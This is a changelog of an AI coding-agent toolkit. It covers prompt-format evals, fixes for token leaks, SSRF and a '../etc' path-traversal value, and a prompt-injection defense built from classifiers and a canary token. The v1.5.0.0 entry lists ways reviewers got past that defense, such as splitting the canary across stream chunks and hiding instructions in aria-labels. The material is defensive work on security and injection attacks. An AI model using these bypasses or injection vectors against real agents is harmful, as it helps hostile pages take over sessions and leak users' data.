plan-ceo-review mode selection kind No ELI10 paragraph, no RECOMMENDATION line ✓ ELI10 + RECOMMENDATION + "options differ in kind" note

plan-ceo-review approach menu coverage No ELI10 paragraph, bare options list ✓ ELI10 + RECOMMENDATION + Completeness: 5/7/10

plan-eng-review coverage issue coverage Bare options list ✓ ELI10 + RECOMMENDATION + Completeness

plan-eng-review architectural choice kind Fabricated Completeness filler on kind question ✓ ELI10 + RECOMMENDATION + "options differ in kind" note

All 4 Codex cases pass ELI10 length floor (>400 chars of prose per question). 517s for the full eval; Codex doesn't bill per call the way Anthropic does.

Itemized changes

Fixed

Codex no longer skips the Simplify/ELI10 paragraph on AskUserQuestion calls. The gpt.md overlay now carves out AskUserQuestion content from the "No preamble" rule explicitly: you still skip filler on direct answers, but every AskUserQuestion gets the full Re-ground + ELI10 + RECOMMENDATION + Options format.

Codex no longer collapses the RECOMMENDATION into the options list. It lands on its own line, every time, regardless of question type.

Changed

scripts/resolvers/preamble/generate-ask-user-format.ts — step 2 renamed to "Simplify (ELI10, ALWAYS)" with explicit "not optional verbosity, not preamble" framing. Step 3 "Recommend (ALWAYS)" hardened: "Never omit, never collapse into the options list." The tightening applies to all hosts, but Codex felt it most.

model-overlays/gpt.md — adds a new "AskUserQuestion is NOT preamble" section that instructs the model to back up and emit the full format if it ever finds itself about to skip the ELI10 paragraph or the RECOMMENDATION line.

For contributors

test/codex-e2e-plan-format.test.ts — four periodic-tier Codex eval cases mirroring the Claude version. Uses codex exec via the existing test/helpers/codex-session-runner.ts harness with sandbox: 'workspace-write' so the capture file lands inside the tempdir. Assertions: RECOMMENDATION regex, coverage-vs-kind Completeness split, ELI10 length floor (400+ chars).

All T2 skills regenerated across all hosts (claude, codex, factory, gbrain, gpt-5.4, hermes, kiro, opencode, openclaw, slate, cursor). Golden fixtures refreshed. test/gen-skill-docs.test.ts ELI10 assertion updated to match the new "Simplify (ELI10" heading.

[1.6.2.0] - 2026-04-22

Plan reviews give you the recommendation again. And we finally admitted a 10/10 score on a mode pick means nothing.

A user on Opus 4.7 reported /plan-ceo-review and /plan-eng-review stopped showing the RECOMMENDATION: Choose X line and the per-option Completeness: N/10 score that used to make decisions quick. The fix ships both signals back, but with a sharper distinction: coverage-differentiated options get real scores (10 = all edges, 7 = happy path, 3 = shortcut), and kind-differentiated options (mode selection, A-vs-B architecture calls, cherry-pick Add/Defer/Skip) get the RECOMMENDATION plus an explicit Note: options differ in kind, not coverage — no completeness score. line instead of fabricated 10/10 filler.

The numbers that matter

Source: test/skill-e2e-plan-format.test.ts, four cases pinned to claude-opus-4-7, ~$2 per full run. Periodic tier (non-deterministic Opus behavior gets weekly cron, not per-PR gate).

Question type Before (v1.6.1.0) After (v1.6.2.0)

Mode selection (kind-differentiated) Completeness: 10/10 fabricated on all 4 modes RECOMMENDATION + "options differ in kind" note

Approach menu (coverage-differentiated) **RECOMMENDATION:** markdown-bolded but regex missed it RECOMMENDATION + Completeness: 5/7/10 per option

Per-issue coverage decision Present, working Present, working (unchanged)

Per-issue architectural choice (kind-differentiated) Completeness: 9/9/5 fabricated on kind question RECOMMENDATION + "options differ in kind" note

Eval pass Result Cost

Phase 1 baseline (pre-fix) 1/4 assertions pass (evidence of regression) $2.19

Phase 3 post-fix 4/4 assertions pass $1.84

Phase 3b neighbor regression (skill-e2e-plan.test.ts) 12/12 pass, no drift $5.19

Itemized changes

Fixed

RECOMMENDATION: Choose X now appears consistently on every AskUserQuestion in /plan-ceo-review and /plan-eng-review regardless of question type.

Completeness: N/10 is only emitted on coverage-differentiated options. Kind-differentiated questions (mode picks, architectural choices between different systems, cherry-pick A/B/C) emit a one-line note explaining why the score doesn't apply, instead of fabricating 10/10 filler.

Changed

The AskUserQuestion Format section in the T2 preamble splits the old run-on paragraph into two ALWAYS-framed rules: step 3 "Recommend (ALWAYS)" and step 4 "Score completeness (when meaningful)". This affects every T2 skill (~15 files regenerated).

The Completeness Principle — Boil the Lake preamble section now states the coverage-vs-kind distinction explicitly, matching step 4. Without this edit the two preamble locations would disagree — which is how the regression started.

Section 0C-bis (approach menu) and Section 0F (mode selection) in plan-ceo-review/SKILL.md.tmpl now carry short anchor lines that remind the model which question type applies. plan-eng-review/SKILL.md.tmpl gets an equivalent anchor inside the CRITICAL RULE section for per-issue AskUserQuestion decisions.

For contributors

New test file test/skill-e2e-plan-format.test.ts captures verbatim AskUserQuestion output from the two plan skills and asserts the coverage-vs-kind format. Instructs the agent to write would-be AskUserQuestion text to $OUT_FILE rather than calling an MCP tool (since MCP isn't wired inside claude -p).

Classified periodic tier because behavior depends on Opus 4.7 non-determinism — gate tier would flake and block merges.

Golden fixtures (test/fixtures/golden/claude-ship-SKILL.md, codex-ship-SKILL.md, factory-ship-SKILL.md) refreshed to reflect the new format rule.

[1.6.1.0] - 2026-04-22

Opus 4.7 migration, reviewed. Overlay actually split per model. Routing verified, fanout is still on the list.

PR #1117 (initial Opus 4.7 migration) shipped the right idea with quality gaps. A /plan-ceo-review + /plan-eng-review pair with Codex outside voice surfaced 4 ship blockers and 7 quality gaps. This release lands the fixes and adds the first eval pinned to claude-opus-4-7 so we stop asserting behavior without measuring it.

The numbers that matter

Source: the test/skill-e2e-opus-47.test.ts eval, two cases, 8 assertions, ~$2.50 per full run on claude-opus-4-7. Runs are saved under ~/.gstack/projects/garrytan-gstack/evals/. Review evidence in ~/.gstack/projects/garrytan-gstack/ceo-plans/2026-04-21-pr1117-opus-4-7-ship-review.md.

Surface Before (#1117 as-shipped) After (v1.6.1.0)

model-overlays/claude.md Opus-4.7-specific nudges applied to every claude-* variant Split: claude.md is model-agnostic, opus-4-7.md inherits and adds 4.7 nudges

ALL_MODEL_NAMES in scripts/models.ts No opus-4-7 taxonomy entry Added; claude-opus-4-7-* routes to the new overlay

scripts/resolvers/utility.ts:372 trailer fallback Hardcoded Claude Opus 4.6 Matches host config, Opus 4.7 default

generate-routing-injection.ts policy Old "ALWAYS invoke, do NOT answer directly" Matches SKILL.md.tmpl "when in doubt, invoke"

generate-routing-injection.ts skill names Stale /checkpoint (renamed three releases ago) /context-save + /context-restore, plus /benchmark, /devex-review, /qa-only, /canary, /land-and-deploy, /setup-deploy, /open-gstack-browser, /setup-browser-cookies, /learn, /plan-tune, /health

Voice example closing "Want me to ship it?" (trains ship-bypass on a literal 4.7 interpreter) "Want me to fix it?" (preserves review gates)

"Fix ALL failing tests" nudge scope Unbounded, could touch pre-existing unrelated failures Bounded to "tests this branch introduced or is responsible for"

"Batch your questions" nudge Silently conflicted with skills that mandate one-at-a-time pacing Explicit pacing exception; the skill wins

Opus 4.7 eval coverage 0 tests pinned to claude-opus-4-7 1 eval, 2 cases, periodic tier

Eval case Result

Routing precision (3 positive + 3 negative prompts) 3/3 positives route correctly, 0/3 negatives route. TP 100%, FP 0%. Meets thresholds.

Fanout A/B (3-file read, overlay ON vs OFF) 0 parallel tool calls in first turn on both arms under claude -p. Assertion passes trivially, real effect unmeasured. Carried forward as P0 TODO for re-run inside Claude Code's real harness.

Test suite Before After

bun test failures on clean checkout 10 (pre-existing flaky timeouts + 2 new golden drifts) 0

"no compiled binaries in git" test runtime ~12.7s, flaky at 5s timeout 0.9s with fs.statSync + mode filter

Parameterized host smoke tests 7 failing with stale generated output All green after the overlay split regenerates cleanly

What this means for anyone running gstack on Opus 4.7

Regenerating with --model opus-4-7 now gives you a SKILL.md that carries the 4.7-specific nudges (fanout, effort-match, batch questions, literal interpretation), while Sonnet and Haiku users get the model-agnostic overlay without leakage. Routing gets the full skill inventory and a softer fallback so casual prompts like "wtf is this Python syntax" do not accidentally invoke /investigate. The fanout claim is honestly labeled "unverified under claude -p" with a P0 TODO rather than asserted. Run bun test test/skill-e2e-opus-47.test.ts with EVALS=1 to reproduce the measurement. The full plan file for this remediation lives at ~/.claude/plans/system-instruction-you-are-working-polymorphic-kazoo.md.

Itemized changes

Added

New model-overlays/opus-4-7.md inheriting from claude.md via {{INHERIT:claude}}. Holds the four Opus-4.7-specific nudges: Fan out explicitly (with concrete [Read(a), Read(b), Read(c)] example), Effort-match the step, Batch your questions (with pacing exception), Literal interpretation awareness (with branch-scope boundary).

opus-4-7 entry in ALL_MODEL_NAMES in scripts/models.ts. resolveModel() routes claude-opus-4-7-* to the new overlay, all other claude-* variants continue to route to claude.

test/skill-e2e-opus-47.test.ts: first E2E pinned to claude-opus-4-7. Two cases (fanout A/B, routing precision), 8 assertions, periodic tier. Gated on EVALS=1.

Regression tests in test/gen-skill-docs.test.ts for the new routing shape: asserts slash-prefixed skill references (/office-hours not office-hours), asserts /context-save + /context-restore present (guards the stale /checkpoint name regression), asserts "when in doubt, invoke" policy present (guards the hard ALWAYS invoke regression).

Changed

model-overlays/claude.md trimmed back to model-agnostic nudges (Todo-list discipline, Think before heavy actions, Dedicated tools over Bash). Opus-4.7-specific content moved to opus-4-7.md.

scripts/resolvers/preamble/generate-routing-injection.ts: aligned with the new SKILL.md.tmpl policy ("when in doubt, invoke"), renamed stale /checkpoint references to /context-save + /context-restore, added 12 missing routes (full skill inventory now covered).

SKILL.md.tmpl routing section: added the same 12 missing routes; added branch-scope boundary to "Fix ALL failing tests"; added explicit pacing exception to "Batch your questions" so skill workflows win on pacing.

scripts/resolvers/preamble/generate-voice-directive.ts: voice example closing changed from "Want me to ship it?" to "Want me to fix it?" (preserves review gates on a literal 4.7 interpreter).

scripts/resolvers/utility.ts:372: co-author trailer fallback Claude Opus 4.6 → Claude Opus 4.7 (the PR updated hosts/claude.ts but missed this fallback).

Fixed

"No compiled binaries in git" tests in test/skill-validation.test.ts rewritten to use fs.statSync + mode-100755 filter instead of xargs -I{} sh -c per file. 12.7s → 907ms, flaky-at-5s-timeout → green.

test/team-mode.test.ts setup tests given a 180s budget. ./setup does a full install + Bun binary build + skill regeneration and takes 60-90s; the 5s default was timing out.

Branch rebased on origin/main v1.6.0.0 (security wave). VERSION + CHANGELOG follow the branch-scoped discipline in CLAUDE.md: new entry on top of main's 1.6.0.0, no drift.

For contributors

Eval infrastructure now supports model-pinned tests. test/skill-e2e-opus-47.test.ts:mkEvalRoot(suffix, includeOverlay) is the pattern: installs per-skill SKILL.md under .claude/skills/, writes explicit routing CLAUDE.md, optionally inlines the opus-4-7 overlay for A/B arms. claude -p does not auto-load SKILL.md content as system context, so the overlay has to be inlined into CLAUDE.md for the A/B to be observable in that harness.

New touchfile entries: fanout: overlay ON emits >= parallel calls... and routing precision: positives route, negatives do not in test/helpers/touchfiles.ts, both periodic. Only fire when model-overlays/, scripts/models.ts, scripts/resolvers/model-overlay.ts, SKILL.md.tmpl, or scripts/resolvers/preamble/generate-routing-injection.ts change.

Known gap (P0 TODO in TODOS.md): verify the fanout nudge under Claude Code's real harness, not claude -p. The claim in the overlay is unmeasured until that runs.

[1.6.0.0] - 2026-04-21

The token leak in pair-agent sessions is closed by splitting the daemon into two HTTP listeners, not by pretending one port can be two things at once.

pair-agent --client is gstack's best onboarding moment. One command, a shareable URL, a remote agent driving your browser. It was also the moment we broadcast an unauthenticated /health endpoint to the public internet that handed out root browser tokens on any Origin: chrome-extension:// spoof. @garagon flagged this in PR #1026 and it re-surfaced in a DM. The initial fix (check tunnelActive on the /health gate) shipped as a patch in review. Codex's outside voice during /plan-ceo-review called that approach brittle, and the user pivoted to the architectural fix: physical port separation. That's what this release is.

When you run pair-agent --client, the daemon now binds TWO HTTP listeners. The local port (bootstrap, CLI, sidebar, cookie-picker, inspector) stays on 127.0.0.1 and is never forwarded. The tunnel port serves only /connect (pairing ceremony, unauth + rate-limited) and a locked allowlist of browser-driving commands. ngrok forwards only the tunnel port. A caller who stumbles onto your ngrok URL cannot reach /health, /cookie-picker, /inspector/*, or /welcome — not because the server denies them, because the HTTP request never arrives at the bootstrap port. Root tokens sent over the tunnel get a 403 with a clear pairing hint.

The wave also closed three other CVE classes Codex surfaced. /activity/stream and /inspector/events used to accept the root token in ?token= query params (URLs leak to logs, referer, history). Now they take a separate view-only 30-minute HttpOnly SameSite=Strict cookie that is NOT valid against /command. The /welcome handler interpolated GSTACK_SLUG into a filesystem path without validation. Fixed with a strict regex. The /connect rate limit was 3/min globally, which DOS'd any legitimate pair-agent retry. Loosened to 300/min because setup keys are 24 random bytes (unbruteforceable); the limit is for flood defense, not key guessing. The cookie-import-browser CDP port on Windows is documented as a v20 ABE elevation path with a tracking issue (#1136).

The numbers that matter

Surface Before After

/health over tunnel returns root token to any chrome-extension origin unreachable (404, wrong port)

/cookie-picker over tunnel HTML embeds the root token unreachable (404, wrong port)

/inspector/* over tunnel reachable with Bearer unreachable (404, wrong port)

/command over tunnel, root token executes 403 with pairing hint

/command over tunnel, scoped token any command allowlist: 17 browser-driving commands only

/activity/stream auth ?token=<ROOT> in URL HttpOnly gstack_sse cookie, 30-min TTL, stream-scope only

/inspector/events auth ?token=<ROOT> in URL same cookie as /activity/stream

/connect rate limit 3/min (blocked legit retries) 300/min (flood-only, no pairing DoS)

/welcome path traversal GSTACK_SLUG="../etc" interpolates regex ^[a-z0-9_-]+$, fallback to built-in

Tunnel auth-denial logging none async JSONL to ~/.gstack/security/attempts.jsonl, rate-capped 60/min

Windows v20 ABE via CDP undocumented elevation documented non-goal, tracked as #1136

Review layer Verdict Outcome

/plan-ceo-review (Claude) SELECTIVE EXPANSION 7 proposals, 7 accepted, critical gap on extension sidebar bootstrap caught

/codex (outside voice) 14 findings 3 factual errors in the plan fixed, 4 substantive tensions resolved, 2 new CVE classes added

/plan-eng-review (Claude) 5 arch decisions locked tunnel lifecycle, token scoping, PR #1026 handling, SSE cookie design, route allowlist

What this means for anyone running pair-agent

Run pair-agent --client test-agent on your laptop. Share the ngrok URL with someone. Their agent drives your browser. Your sidebar keeps showing you what they're doing. A stranger who stumbles onto that ngrok URL in the meantime gets 404 on everything except /connect, and /connect without a setup key goes nowhere. Nothing about the command you type changes.

Itemized changes

Added

Dual-listener HTTP architecture. When a tunnel is active, the daemon binds a dedicated listener on an ephemeral 127.0.0.1 port and points ngrok.forward() at it. /tunnel/start lazy-binds the listener; /tunnel/stop tears it down. Hard-fails on bind error, never falls back to the local port. BROWSE_TUNNEL=1 startup follows the same pattern. browse/src/server.ts ~320 lines.

Tunnel surface filter. Runs before every route dispatch. 404s paths not on TUNNEL_PATHS (/connect, /command, /sidebar-chat). 403s any request carrying the root bearer token with a clear hint. 401s non-/connect requests without a scoped token. Every denial logs to ~/.gstack/security/attempts.jsonl.

Tunnel command allowlist. /command on the tunnel surface enforces TUNNEL_COMMANDS (17 browser-driving commands: goto, click, text, screenshot, html, links, forms, accessibility, attrs, media, data, scroll, press, type, select, wait, eval). Remote paired agents cannot launch new browsers, configure the daemon, or touch the inspector.

View-only SSE session cookie. New browse/src/sse-session-cookie.ts registry with POST /sse-session mint endpoint. 256-bit tokens, 30-minute TTL, HttpOnly + SameSite=Strict. Scope-isolated from the main token registry at the module-boundary level (the module does not import token-registry.ts). Prior learning applied: cookie-picker-auth-isolation, 10/10 confidence.

Tunnel auth-denial log. browse/src/tunnel-denial-log.ts, async fs.promises.appendFile with 60/min rate cap in-process. Prior learning applied: sync-audit-log-io, 10/10 confidence.

E2E pairing test. browse/test/pair-agent-e2e.test.ts, 12 behavioral tests against a spawned daemon (BROWSE_HEADLESS_SKIP=1). Verifies /pair → /connect → scoped token → /command flow, ?token= query param rejection, /sse-session cookie flags. ~220ms, no network.

ARCHITECTURE.md dual-listener contract. Per-endpoint disposition table (local vs tunnel), tunnel denial log model, SSE cookie scope, N2 non-goal documentation.

Changed

SSE endpoints no longer accept ?token= in the URL. /activity/stream and /inspector/events now take Bearer or the gstack_sse cookie. Extension (extension/sidepanel.js) fetches the cookie once at bootstrap via POST /sse-session, then opens EventSource with withCredentials: true. The URL never carries a secret.

/connect rate limit loosened from 3/min to 300/min. Setup keys are 24 random bytes; 3/min was a brute-force defense in name only and caused real pairing failures. 300/min handles floods without ever triggering on legitimate use.

/welcome GSTACK_SLUG gated on ^[a-z0-9_-]+$. Defense-in-depth for a path not exploitable today but trivially mitigable.

/pair and /tunnel/start probe the cached tunnel via GET /connect, not /health. /health is no longer reachable on the tunnel surface under the dual-listener design.

cookie-import-browser.ts comment corrected. Previously claimed "no worse than baseline", wrong on Windows with v20 App-Bound Encryption, where the CDP port IS an elevation path. Documented with a tracking issue for the --remote-debugging-pipe follow-up.

Fixed

SSRF via download + scrape. page.request.fetch calls in browse/src/write-commands.ts now pass through validateNavigationUrl. Blocks cloud metadata endpoints (AWS IMDSv1, GCP, Azure), RFC1918 ranges, file://. Derived from PR #1029 by @garagon.

Envelope sentinel escape on scoped snapshot. browse/src/snapshot.ts and browse/src/content-security.ts now share escapeEnvelopeSentinels(). Page content containing the literal envelope delimiter can no longer forge a fake "trusted" block in the LLM context. Derived from PR #1031 by @garagon.

Hidden-element detection across all DOM-reading channels. Previously only command === 'text' ran markHiddenElements. Now every DOM channel (html, links, forms, accessibility, attrs, media, data, ux-audit) surfaces hidden-content warnings in the envelope. Derived from PR #1032 by @garagon.

--from-file payload path validation. load-html --from-file and pdf --from-file now run validateReadPath on the payload path for parity with the direct-API paths. Closes a CLI/API escape hatch for SAFE_DIRECTORIES. Derived from PR #1103 by @garagon.

design/src/serve.ts interpolated url.origin through JSON.stringify. Defensive escape for origin values in served HTML. Contributed by @theqazi (PR #1073 partial).

scripts/slop-diff.ts narrows shell: true to Windows only. Matches the platform-specific need without widening the shell-interpretation surface on POSIX. Contributed by @theqazi (PR #1073 partial).

For contributors

F1 (dual-listener refactor) is bisected as four commits on the branch: rate-limit loosening, new tunnel-denial-log module, the server.ts refactor, and the new source-level test suite. Each commit is independently green. Subsequent wave items rebase onto F1 cleanly.

Credits: @garagon (critical bug surface in PR #1026 plus SSRF, envelope, DOM-channel coverage, and --from-file PRs), @Hybirdss (PR #1002 concept, superseded by F1 but informed the policy model), @HMAKT99 (PRs #469 and #472 — both ended up already-landed-on-main; credit for surfacing the issues), @theqazi (2 commits from #1073, skills portion deferred pending internal voice review per CLAUDE.md).

Codex-reviewed plan stored at ~/.gstack/projects/garrytan-gstack/ceo-plans/2026-04-21-security-wave-v1.5.2.md. Eng-review test plan at ~/.gstack/projects/garrytan-gstack/garrytan-garrytan-sec-wave-eng-review-test-plan-*.md.

Non-goal tracked as #1136: switch cookie-import-browser CDP transport from TCP --remote-debugging-port to --remote-debugging-pipe so the Windows v20 ABE elevation path is closed. Non-trivial (Playwright doesn't expose the pipe transport; needs a minimal CDP-over-pipe client); intentionally deferred from this wave.

[1.5.1.0] - 2026-04-20

Three visible bugs in v1.4.0.0 /make-pdf, all fixed.

Page footers showed "6 of 8" twice on every page because Chromium's native footer and our print CSS were both rendering numbers. A markdown title containing & rendered as Faber &amp; Faber in <title> and TOC entries, because the extractors stripped tags but forgot to decode entities. On Linux (Docker, CI, servers), body text fell through to DejaVu Sans because neither Helvetica nor Arial is installed by default, and nothing in the font stack caught that. This release fixes all three and extends the fix beyond the obvious symptom each time.

The numbers that matter

All three bugs were caught and expanded in review before any code was written. The plan went through /plan-eng-review (Claude), then /codex (outside voice), then implementation. Source: .github/docker/Dockerfile.ci (Linux fonts), make-pdf/test/render.test.ts (17 new tests), git log main..HEAD (this branch).

Surface Before (v1.4.0.0) After (v1.5.1.0)

Page footer "6 of 8" stacked twice "6 of 8" once

# Faber & Faber in <title> Faber &amp; Faber Faber & Faber

TOC entry with & Double-escaped Single-escaped

© (copyright) in H1 Broken Decodes to ©

--no-page-numbers CLI flag Silently did nothing Actually suppresses page numbers

--footer-template Layered CSS page numbers on top Custom footer wins cleanly

Linux PDF body font DejaVu Sans (wrong) Liberation Sans (metric-compatible Helvetica clone)

Review layer Findings Outcome

/plan-eng-review (Claude) 1 architectural gap expanded Bug 1 scope to include CSS-side conditional

/codex (outside voice) 11 findings 11 incorporated (data flow, TOC site, decoder collision, footer semantic, test contract, scope boundaries, font dependency)

Cross-model agreement rate ~30% Codex found 7 issues Claude's eng review missed by staying too high-altitude

The agreement rate is the tell. One reviewer was not enough on this diff. Codex caught that my original "one-line fix" for Bug 1 would have left the --no-page-numbers CLI flag silently dead, because RenderOptions didn't carry pageNumbers and the orchestrator's render() call didn't pass it. Without the second opinion, the CLI flag ships broken again.

What this means for anyone generating PDFs

Page numbers are now controlled by one flag from CLI to CSS, with the custom-footer semantic restored. Titles, cover pages, and TOC entries render HTML entities correctly, including numeric entities like ©. Linux environments no longer need to know about fonts-liberation — the Dockerfile installs it explicitly and a build-time fc-match check fails the image if the font disappears. Run bun run dev make-pdf <file.md> --cover --toc on Mac, and now also inside Docker, and the output looks the same.

Itemized changes

Fixed

Page numbers no longer render twice on every page. Chromium's native footer used to layer on top of our @page @bottom-center CSS. Now CSS is the single source of truth; Chromium native numbering is off unconditionally.

--no-page-numbers works end-to-end. The CLI flag now reaches the CSS layer via RenderOptions.pageNumbers. Previously it died at the orchestrator and the CSS kept rendering numbers regardless.

--footer-template cleanly replaces the stock footer. Passing a custom footer now also suppresses the CSS page numbers, preserving the original "custom footer wins" semantic that existed before Bug 1 collided with it.

HTML entities in titles, cover pages, and TOC entries render correctly. A markdown heading like # Faber & Faber renders as Faber & Faber in <title> (single-escaped) instead of Faber &amp; Faber (double-escaped). Covers both extractor call sites: extractFirstHeading (title + cover) and extractHeadings (TOC).

Numeric HTML entities decode too. © in an H1 now renders as © in the PDF title. Decimal and hex numeric entities both supported.

Linux PDFs render in Liberation Sans instead of DejaVu Sans. Font stacks in all four print-CSS slots (body, running header, page number, CONFIDENTIAL label) now include "Liberation Sans" between Helvetica and Arial. Metric-compatible, SIL OFL 1.1, installs via fonts-liberation.

Changed

.github/docker/Dockerfile.ci installs fonts-liberation + fontconfig explicitly with retries, runs fc-cache -f, and verifies fc-match "Liberation Sans" in the final build step. Previously relied on Playwright's install-deps pulling it in transitively, which could silently regress on upgrade.

SKILL.md.tmpl documents the Linux font dependency for users who install outside CI/Docker.

For contributors

New helper decodeTextEntities in render.ts (distinct from existing decodeTypographicEntities, which intentionally preserves & in pipeline HTML where &amp; can be legitimate). Use the new one when extracting plain text destined for <title>, cover, or TOC.

PrintCssOptions.pageNumbers wraps the @bottom-center rule in a conditional matching the existing showConfidential pattern. Thread pageNumbers through RenderOptions and forward from orchestrator.ts into both render() call sites (generate + preview).

17 new tests in make-pdf/test/render.test.ts: printCss pageNumbers isolation (3), render() data flow with footerTemplate (4), parameterized entity contracts across &, <, >, ©, — (5), <title> exact single-escape assertion, TOC single-escape, numeric entity decode, smartypants-interacts contract, Liberation Sans body + @page box coverage (2).

Known test gaps (small, future PR): hex numeric entity path, amp-last ordering with double-encoded input, SKILL.md Linux note content assertion. Orchestrator → browseClient.pdf({pageNumbers: false}) and orchestrator → render() forwarding are covered transitively via the CSS end-to-end tests, not asserted directly.

[1.5.0.0] - 2026-04-20

Your sidebar agent now defends itself against prompt injection.

Open a web page with hidden malicious instructions, gstack's sidebar doesn't just trust that Claude will do the right thing. A 22MB ML classifier bundled with the browser scans every page you load, every tool output, every message you send. If it looks like a prompt injection attack, the session stops before Claude executes anything dangerous. A secret canary token in the system prompt catches attempts to exfil your session, if that token shows up anywhere in Claude's output, tool arguments, URLs, or file writes, the session terminates and you see exactly which layer fired and at what confidence. Attempts go to a local log you can read, and optionally to aggregate community telemetry so every gstack user becomes a sensor for defense improvements.

What changes for you

Open the Chrome sidebar and you'll see a small SEC badge in the top right. Green means the full defense stack is loaded. Amber means something degraded (model warmup still running on first-ever use, about 30s). Red means the security module itself crashed and you're running on architectural controls only. Hover for per-layer detail.

If an attack fires, a centered alert-heavy banner appears, "Session terminated, prompt injection detected from {domain}". Expand "What happened" and you see the exact classifier scores. Restart with one click. No mystery.

The numbers

Metric Before v1.4 After v1.4

Defense layers 4 (content-security.ts) 8 (adds ML content, ML transcript, canary, verdict combiner)

Attack channels covered by canary 0 5 (text stream, tool args, URLs, file writes, subprocess args)

First-party classifier cost none $0 (bundled, runs locally)

Model size shipped 0 22MB (TestSavantAI BERT-small, int8 quantized)

Optional ensemble model none 721MB DeBERTa-v3 (opt-in via GSTACK_SECURITY_ENSEMBLE=deberta)

BLOCK decision rule none 2-of-2 ML agreement (or 2-of-3 with ensemble), prevents single-classifier false positives from killing sessions

Tests covering security surface 12 280 (25 foundation + 23 adversarial + 10 integration + 9 classifier + 7 Playwright + 3 bench + 6 bun-native + 15 source-contracts + 11 adversarial-fix regressions + others)

Attack telemetry aggregation local file only community-pulse edge function + gstack-security-dashboard CLI

What actually ships

security.ts — canary injection plus check, verdict combiner with ensemble rule, attack log with rotation, cross-process session state, device-salted payload hashing

security-classifier.ts — TestSavantAI (default) plus Claude Haiku transcript check plus opt-in DeBERTa-v3 ensemble, all with graceful fail-open

Pre-spawn ML scan on every user message plus tool output scan on every Read, Glob, Grep, WebFetch, Bash result

Shield icon with 3 states (green, amber, red) updating continuously via /sidebar-chat poll

Canary leak banner (centered alert-heavy, per approved design mockup) with expandable layer-score detail

Attack telemetry via existing gstack-telemetry-log to community-pulse to Supabase pipe (tier-gated, community uploads, anonymous local-only, off is no-op)

gstack-security-dashboard CLI — attacks detected last 7 days, top attacked domains, layer distribution, verdict split

BrowseSafe-Bench smoke harness — 200 cases from Perplexity's 3,680-case adversarial dataset, cached hermetically, gates on signal separation

Live Playwright integration test pins the L1 through L6 defense-in-depth contract

Bun-native classifier research skeleton plus design doc — WordPiece tokenizer matching transformers.js output, benchmark harness, FFI roadmap for future 5ms native inference

Hardening during ship

Two independent adversarial reviewers (Claude subagent and Codex/gpt-5.4) converged on four bypass paths. All four fixed before merge:

Canary stream-chunk split — rolling-buffer detection across consecutive text_delta and input_json_delta events. Previously .includes() ran per-chunk, so an attacker could ask Claude to emit the canary split across two deltas and evade the check.

Snapshot command bypass — $B snapshot emits ARIA-name output from the page, but was missing from PAGE_CONTENT_COMMANDS, so malicious aria-labels flowed to Claude without the trust-boundary envelope every other read path gets.

Tool-output single-layer BLOCK — combineVerdict now accepts { toolOutput: true }. On tool-result scans the Stack Overflow FP concern doesn't apply (content wasn't user-authored), so a single ML classifier at BLOCK threshold now blocks directly instead of degrading to WARN.

Transcript classifier tool-output context — Haiku previously saw only user_message + tool_calls (empty input) on tool-result scans, so only testsavant_content got a signal. Now receives the actual tool output text and can vote.

Also: attribute-injection fix in escapeHtml (escapes " and ' now), GSTACK_SECURITY_OFF=1 is now a real gate in loadTestsavant/loadDeberta (not just a doc promise), device salt cached in-process so FS-unwritable environments don't break hash correlation, tool-use registry entries evicted on tool_result (memory leak fix), dashboard uses jq for brace-balanced JSON parse when available.

Haiku transcript classifier unbroken (silent bug + gate removal)

The transcript classifier (checkTranscript calling claude -p --model haiku) was shipping dead. Two bugs:

Model alias haiku-4-5 returned 404 from the CLI. Correct shorthand is haiku (resolves to claude-haiku-4-5-20251001 today, stays on the latest Haiku as models roll).

The 2-second timeout was below the floor. Fresh claude -p spawn has ~2-3s CLI cold start + 5-12s inference on ~1KB prompts. At 2s every call timed out. Bumped to 15s.

Compounding the dead classifier: shouldRunTranscriptCheck gated Haiku on any other layer firing at >= LOG_ONLY. On the ~85% of BrowseSafe-Bench attacks that L4 misses (TestSavantAI recall is ~15% on browser-agent-specific attacks), Haiku never got a chance to vote. We were gating our best signal on our weakest. For tool outputs this gate is now removed — L4 + L4c + Haiku always run in parallel.

Review-on-BLOCK UX (centered alert-heavy banner with suspected text excerpt + per-layer scores + Allow / Block session buttons) lands alongside so false positives are recoverable instead of session-killing.

Measured: BrowseSafe-Bench (200-case smoke)

Same 200 cases, before and after the fixes above:

L4-only (before) Ensemble with Haiku (after)

Detection rate 15.3% 67.3%

False-positive rate 11.8% 44.1%

Runtime ~90s ~41 min (Haiku is the long pole)

4.4x lift in detection. FP rate also climbed 3.7x — Haiku is more aggressive and fires on edge cases that TestSavantAI smiles through. The review banner makes those FPs recoverable: user sees the suspected excerpt + layer scores, clicks Allow once, session continues. A P1 follow-up is tuning the Haiku WARN threshold (currently 0.6, probably should be 0.7-0.85) against real-world attempts.jsonl data once gstack users start reporting.

Honest shipping posture: this is meaningfully safer than v1.3.x, not bulletproof. Canary (deterministic), content-security L1-L3 (structural), and the review banner remain the load-bearing defenses when the ML layers miss or over-fire.

Env knobs

GSTACK_SECURITY_OFF=1 — emergency kill switch (canary still injected, ML skipped)

GSTACK_SECURITY_ENSEMBLE=deberta — opt-in 721MB DeBERTa-v3 ensemble classifier for 2-of-3 agreement

For contributors

Supabase migration 004_attack_telemetry.sql adds five nullable columns to telemetry_events (security_url_domain, security_payload_hash, security_confidence, security_layer, security_verdict) plus two partial indices for dashboard aggregation. community-pulse edge function aggregates the security section. Run cd supabase && ./verify-rls.sh and deploy via your normal Supabase deploy flow.

[1.4.0.0] - 2026-04-20

Turn any markdown file into a PDF that looks finished.

The new /make-pdf skill takes a .md file and produces a publication-quality PDF. 1 inch margins. Helvetica. Page numbers in the footer. Running header with the doc title. Curly quotes, em dashes, ellipsis (…). Optional cover page. Optional clickable table of contents. Optional diagonal DRAFT watermark. Copy any paragraph out of the PDF and paste it into a Google Doc: it pastes as one clean block, not "S a i l i n g" spaced out letter by letter. That last part is the whole game. Most markdown-to-PDF tools produce output that reads like a legal document run through a scanner three times. This one reads like a real essay or a real letter.

What you can do now

$P generate letter.md writes a clean letter PDF to /tmp/letter.pdf with sensible defaults.

$P generate --cover --toc --author "Garry Tan" --title "On Horizons" essay.md essay.pdf adds a left-aligned cover page (title, subtitle, date, hairline rule) and a TOC from your H1/H2/H3 headings.

$P generate --watermark DRAFT memo.md draft.pdf overlays a diagonal DRAFT watermark on every page. Send as draft. Drop the flag when it's final.

$P generate --no-chapter-breaks memo.md disables the default "every H1 starts a new page" behavior for memos that happen to have multiple top-level headings.

